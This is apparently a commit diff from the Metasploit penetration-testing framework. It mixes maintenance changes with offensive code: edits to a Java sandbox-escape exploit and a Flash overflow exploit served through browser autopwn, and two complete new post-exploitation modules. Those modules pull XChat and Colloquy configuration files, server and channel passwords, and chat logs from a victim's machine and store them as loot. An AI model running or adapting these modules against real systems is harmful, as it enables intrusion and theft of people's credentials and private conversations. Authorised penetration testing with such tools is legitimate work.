vm_list = ::Lab::Controllers::RemoteWorkstationController::running_list(user, host)
vm_list.each do |item|
## Name the VM
index = @vms.count + 1
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "vm_#{index}",
'driver' => driver_type,
'location' => item,
'user' => user,
'host' => host } )
end
when :remote_esx
vm_list = ::Lab::Controllers::RemoteEsxController::running_list(user,host)
vm_list.each do |item|
@vms << Vm.new( { 'vmid' => "#{item[:id]}",
'name' => "#{item[:name]}",
'driver' => driver_type,
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end
end
def build_from_config(driver_type=nil, user=nil, host=nil, clear=false)
if clear
@vms = []
end
case driver_type.intern
when :virtualbox
vm_list = ::Lab::Controllers::VirtualBoxController::config_list
vm_list.each do |item|
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "#{item}",
'driver' => driver_type,
'location' => nil,
'user' => user,
'host' => host } )
end
else
raise TypeError, "Unsupported VM Type"
end
end
def running?(vmid)
if includes_vmid?(vmid)
return self.find_by_hostname(vmid).running?
end
return false
end
end
end
end
+30 -3
View File
@@ -1,6 +1,7 @@
require 'msf/core'
require 'msf/core/db'
require 'msf/core/task_manager'
require 'fileutils'
module Msf
@@ -39,11 +40,16 @@ class DBManager
# Flag to indicate database migration has completed
attr_accessor :migrated
# Array of additional migration paths
attr_accessor :migration_paths
def initialize(framework, opts = {})
self.framework = framework
self.migrated = false
self.migration_paths = [ ::File.join(Msf::Config.install_root, "data", "sql", "migrate") ]
@usable = false
# Don't load the database if the user said they didn't need it.
@@ -225,16 +231,37 @@ class DBManager
# Migrate database to latest schema version
#
def migrate(verbose=false)
temp_dir = ::File.expand_path(::File.join( Msf::Config.config_directory, "schema", "#{Time.now.to_i}_#{$$}" ))
::FileUtils.rm_rf(temp_dir)
::FileUtils.mkdir_p(temp_dir)
self.migration_paths.each do |mpath|
dir = Dir.new(mpath) rescue nil
if not dir
elog("Could not access migration path #{mpath}")
next
end
dir.entries.each do |ent|
next unless ent =~ /^\d+.*\.rb$/
::FileUtils.cp( ::File.join(mpath, ent), ::File.join(temp_dir, ent) )
end
end
success = true
begin
migrate_dir = ::File.join(Msf::Config.install_root, "data", "sql", "migrate")
ActiveRecord::Migration.verbose = verbose
ActiveRecord::Migrator.migrate(migrate_dir, nil)
ActiveRecord::Migrator.migrate(temp_dir, nil)
rescue ::Exception => e
self.error = e
elog("DB.migrate threw an exception: #{e}")
dlog("Call stack:\n#{e.backtrace.join "\n"}")
return false
success = false
end
::FileUtils.rm_rf(temp_dir)
return true
end
+1 -1
View File
@@ -14,7 +14,7 @@ module FindShell
#
# Returns the string representation of the handler type, in this case
# 'find_tag'.
# 'find_shell'.
#
def self.handler_type
return "find_shell"
+15 -6
View File
@@ -528,12 +528,21 @@ protected
end
# Assemble the payload from the assembly
cpu = case module_info['Arch']
when ARCH_X86 then Metasm::Ia32.new
when ARCH_X86_64 then Metasm::X86_64.new
when ARCH_PPC then Metasm::PowerPC.new
when ARCH_ARMLE then Metasm::ARM.new
end
a = self.arch
if a.kind_of? Array
a = self.arch.first
end
cpu = case a
when ARCH_X86 then Metasm::Ia32.new
when ARCH_X86_64 then Metasm::X86_64.new
when ARCH_X64 then Metasm::X86_64.new
when ARCH_PPC then Metasm::PowerPC.new
when ARCH_ARMLE then Metasm::ARM.new
else
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
elog("Call stack:\n#{caller.join("\n")}")
return ""
end
sc = Metasm::Shellcode.assemble(cpu, asm).encoded
# Calculate the actual offsets now that it's been built
+6
View File
@@ -174,6 +174,12 @@ class Driver < Msf::Ui::Driver
# Parse any specified database.yml file
if framework.db.usable and not opts['SkipDatabaseInit']
# Append any migration paths necessary to bring the database online
if opts['DatabaseMigrationPaths']
opts['DatabaseMigrationPaths'].each {|m| framework.db.migrations_paths << m }
end
# Look for our database configuration in the following places, in order:
# command line arguments
# environment variable
+3 -1
View File
@@ -12,10 +12,12 @@ class Hive
hive_blob = open(hivepath, "rb") { |io| io.read }
@hive_regf = RegfBlock.new(hive_blob)
return nil if !@hive_regf.root_key_offset
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
return nil if !@root_key.lf_record
keys = []
root_key.lf_record.children.each do |key|
keys << key.name
end
+3 -3
View File
@@ -34,9 +34,9 @@ class NodeKey
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp
unix_time = windows_time/10000000-11644473600
ruby_time = Time.at(unix_time)
windows_time = @timestamp
unix_time = windows_time/10000000-11644473600
ruby_time = Time.at(unix_time)
@readable_timestamp = ruby_time
@@ -145,7 +145,7 @@ class Metasploit3 < Msf::Auxiliary
while (::Time.now.to_f < etime)
while(adv = getadvertisement())
next if not adv[:icmpv6]
next if not adv
addr = map_neighbor(neighs, adv)
next if not addr
@@ -24,14 +24,16 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'Squid Proxy Port Scanner',
'Description' => %q{
A misconfigured Squid proxy can allow an attacker to make requests on their behalf.
This may give the attacker information about devices that they cannot reach but the
A misconfigured Squid proxy can allow an attacker to make requests on his behalf.
This may give the attacker information about devices that he cannot reach but the
Squid proxy can. For example, an attacker can make requests for internal IP addresses
against a misconfigurated open Squid proxy exposed to the Internet therefore performing
against a misconfigurated open Squid proxy exposed to the Internet, therefore performing
an internal port scan. The error messages returned by the proxy are used to determine
if the port is open or not. Many Squid proxies use custom error codes so your mileage
may vary. The open_proxy module can be used to test for open proxies though a Squid proxy
does not have to be open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
if the port is open or not.
Many Squid proxies use custom error codes so your mileage may vary. The open_proxy
module can be used to test for open proxies, though a Squid proxy does not have to be
open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
the attack to pivot to another part of the network).
},
'Author' => ['willis'],
@@ -14,34 +14,40 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize( info = {} )
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
'Description' => %q{
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
'Description' => %q{
This module exploits a vulnerability due to the fact that
AtomicReferenceArray uses the Unsafe class to store a reference in an
array directly, which may violate type safety if not used properly.
This allows a way to escape the JRE sandbox, and load additional classes
in order to perform malicious operations.
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # metasploit module
'juan vazquez' # metasploit module
'Jeroen Frijters', #Initial discovery according to his blog
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
'egypt' # added support for older java versions
],
'References' =>
[
['CVE', '2012-0507'],
['OSVDB', '80724'],
['BID', '52161'],
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
@@ -92,9 +98,9 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_uri( cli, request )
data = nil
host = nil
port = nil
data = ""
host = ""
port = ""
peer = "#{cli.peerhost}:#{cli.peerport}"
if not request.uri.match(/\.jar$/i)
@@ -148,16 +154,18 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
print_status( "#{peer} - sending jar to ..." )
print_status( "#{peer} - sending jar..." )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Applet.jar\" code=\"a.Exploit.class\" width=\"1\" height=\"1\">"
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
@@ -171,3 +179,4 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
@@ -12,6 +12,15 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:vuln_test => "GetVariable",
:classid => "ShockwaveFlash.ShockwaveFlash",
:rank => NormalRanking, # reliable memory corruption
:javascript => true
})
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
@@ -212,6 +221,21 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def exploit
@swf = create_swf
super
#
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
#
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
self.add_resource({'Path'=>'/test.mp4', 'Proc'=>proc})# rescue nil
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
@@ -299,28 +323,16 @@ pluginspage="http://www.macromedia.com/go/getflashplayer">
html = html.gsub(/^\t\t/, '')
#
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
#
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def cleanup
print_status("Removing mp4 resource")
remove_resource('/test.mp4') rescue nil
super
end
def exploit
@swf = create_swf
super
end
def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
fd = ::File.open( path, "rb" )
+169
View File
@@ -0,0 +1,169 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather XChat Enumeration',
'Description' => %q{
This module will collect XChat's config files and chat logs from the victim's
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
CONFIGS option can be used to collect information such as channel settings,
channel/server passwords, etc. The CHATS option will simply download all the
.log files.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'linux' ],
# linux meterpreter is too busted to support right now,
# will come back and add support once it's more usable.
'SessionTypes' => [ 'shell' ],
'Actions' =>
[
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
],
'DefaultAction' => 'ALL'
))
end
def get_file(file)
tries = 0
print_status("#{@peer} - Downloading #{file}")
begin
buf = read_file(file)
buf = '' if buf =~ /No such file or directory/
rescue ::Timeout::Error => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
buf = ''
rescue EOFError => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
buf = ''
end
return buf
end
def whoami
user = cmd_exec("whoami").chomp
return user
end
def list_logs(base)
list = cmd_exec("ls -l #{base}*.log")
return [] if list =~ /No such file or directory/
files = list.scan(/\d+\x20\w{3}\x20\d+\x20\d{2}\:\d{2}\x20(.+)$/).flatten
return files
end
def save(type, data)
case type
when :configs
type = 'xchat.config'
when :chatlogs
type = 'xchat.chatlogs'
end
data.each do |d|
fname = ::File.basename(d[:filename])
p = store_loot(
type,
'text/plain',
session,
d[:data],
fname
)
print_good("#{@peer} - #{fname} saved as #{p}")
end
end
def get_chatlogs(base)
base << "xchatlogs/"
logs = []
list_logs(base).each do |l|
vprint_status("#{@peer} - Downloading: #{l}")
data = read_file(l)
logs << {
:filename => l,
:data => data
}
end
return logs
end
def get_configs(base)
config = []
files = ['servlist_.conf', 'xchat.conf']
files.each do |f|
vprint_status("#{@peer} - Downloading: #{base + f}")
buf = read_file(base + f)
next if buf.empty?
config << {
:filename => f,
:data => buf
}
end
return config
end
def run
if action.nil?
print_error("Please specify an action")
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
if user.nil?
print_error("#{@peer} - Unable to get username, abort.")
return
end
base = "/home/#{user}/.xchat2/"
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
save(:configs, configs) if not configs.empty?
save(:chatlogs, chatlogs) if not chatlogs.empty?
end
end
=begin
Linux xchat path:
/home/[username]/.xchat2/
* /home/[username]/.xchat2/servlist_.conf
* /home/[username]/.xchat2/xchat.conf
* /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
=end
+11 -4
View File
@@ -224,14 +224,21 @@ class Metasploit3 < Msf::Post
# and retry under certain conditions.
#
def exec(cmd)
tries = 0
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
rescue EOFError => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
end
+11 -4
View File
@@ -28,14 +28,21 @@ class Metasploit3 < Msf::Post
end
def exec(cmd)
tries = 0
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
rescue EOFError => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
end
@@ -40,14 +40,21 @@ class Metasploit3 < Msf::Post
# and retry under certain conditions.
#
def exec(cmd)
tries = 0
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
rescue EOFError => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
end
+175
View File
@@ -0,0 +1,175 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Gather Colloquy Enumeration',
'Description' => %q{
This module will collect Colloquy's info plist file and chat logs from the
victim's machine. There are three actions you may choose: INFO, CHATS, and
ALL. Please note that the CHAT action may take a long time depending on the
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
to search for certain log names (which consists of the contact's name, and a
timestamp). The default 'PATTERN' is configured as "^alien" as an example
to search for any chat logs associated with the name "alien".
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ],
'Actions' =>
[
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
],
'DefaultAction' => 'ALL'
))
register_options(
[
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
], self.class)
end
#
# Parse a plst file to XML format:
# http://hints.macworld.com/article.php?story=20050430105126392
#
def plutil(filename)
exec("plutil -convert xml1 #{filename}")
data = exec("cat #{filename}")
return data
end
def get_chatlogs(base)
chats = []
# Get all the logs
print_status("#{@peer} - Download logs...")
folders = dir("\"#{base}\"")
folders.each do |f|
# Get all the transcripts from this folder
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
trans.split("\n").each do |t|
fname = ::File.basename(t)
# Check fname before downloading it
next if fname !~ datastore['PATTERN']
print_status("#{@peer} - Downloading #{t}")
content = exec("cat \"#{t}\"")
chats << {:log_name => fname, :content => content}
end
end
return chats
end
def get_preferences(path)
raw_plist = exec("cat #{path}")
return nil if raw_plist =~ /No such file or directory/
xml_plist = plutil(path)
return xml_plist
end
def save(type, data)
case type
when :preferences
p = store_loot(
'colloquy.preferences',
'text/plain',
session,
data,
"info.colloquy.plist"
)
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
when :chatlogs
data.each do |d|
log_name = d[:log_name]
content = d[:content]
p = store_loot(
'colloquy.chatlogs',
'text/plain',
session,
content,
log_name
)
print_good("#{@peer} - #{log_name} stored in #{p}")
end
end
end
def whoami
exec("/usr/bin/whoami")
end
def dir(path)
subdirs = exec("ls -l #{path}")
return [] if subdirs =~ /No such file or directory/
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
return items
end
def exec(cmd)
tries = 0
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
rescue EOFError => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
end
def run
if action.nil?
print_error("Please specify an action")
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
end
end
=begin
/Users/[user]/Documents/Colloquy Transcripts
/Users/[user]/Library/Preferences/info.colloquy.plist
Transcript example:
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
=end
+5
View File
@@ -71,6 +71,11 @@ class OptsConsole
options['DatabaseYAML'] = m
end
opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m|
options['DatabaseMigrationPaths'] ||= []
options['DatabaseMigrationPaths'] << m
end
opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m|
options['DatabaseEnv'] = m
end
+10 -1
View File
@@ -6,7 +6,6 @@
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '..', 'lib', 'lab'))
require 'yaml'
require 'vm_controller'
module Msf
@@ -19,6 +18,16 @@ class Plugin::Lab < Msf::Plugin
def initialize(driver)
super(driver)
@controller = nil
#
# Require the lab gem, but fail nicely if it's not there.
#
begin
require 'lab'
rescue LoadError
raise "WARNING: Lab gem not found, Please 'gem install lab'"
end
end
#
+9 -8
View File
@@ -172,9 +172,9 @@ def get_aol_instant_messenger_information
users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users')
last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name")
print_all_keys(user_list_key)
print_all_keys(users_list_key)
user_list_key.lf_record.children.each do |screenname|
users_list_key.lf_record.children.each do |screenname|
away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList")
file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer")
profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry")
@@ -209,7 +209,7 @@ def get_windows_messenger_information
last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName")
print_all(contact_list_information_key)
print_all(file_transers_information_key)
print_all(file_transfers_information_key)
print_all(last_user_information_key)
end
end
@@ -228,7 +228,7 @@ end
def get_ie_information
if @hive.hive_name =~ /NTUSER\.dat/i
stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData")
stored_search_terms_information_key = @hive.relative_quety("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main")
history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep")
typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs")
@@ -238,13 +238,13 @@ def get_ie_information
print_all(stored_logon_information_key)
print_all(stored_search_terms_information_key)
print_all(ie_settings_information_key)
print_all(type_urls_information_key)
print_all(ie_setting_information_key)
print_all(typed_urls_information_key)
print_all(intelliforms_information_key)
print_all(autocomplete_web_addresses_key)
print_all(default_download_dir)
puts "Days saved in history: " + history_length_value_key.value.data.to_s
puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array
end
end
@@ -266,7 +266,7 @@ def get_yahoo_messenger_information
file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer")
message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive")
print_all(file_transfer_information_key)
print_all(file_transfers_information_key)
print_all(message_archiving_information_key)
end
end
@@ -375,6 +375,7 @@ when "list_drivers"
when "get_everything"
Dir.foreach(ARGV[1]) do |file|
next if file =~ /^\./
next if ::File.directory?(ARGV[1] + "/" + file)
@hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file)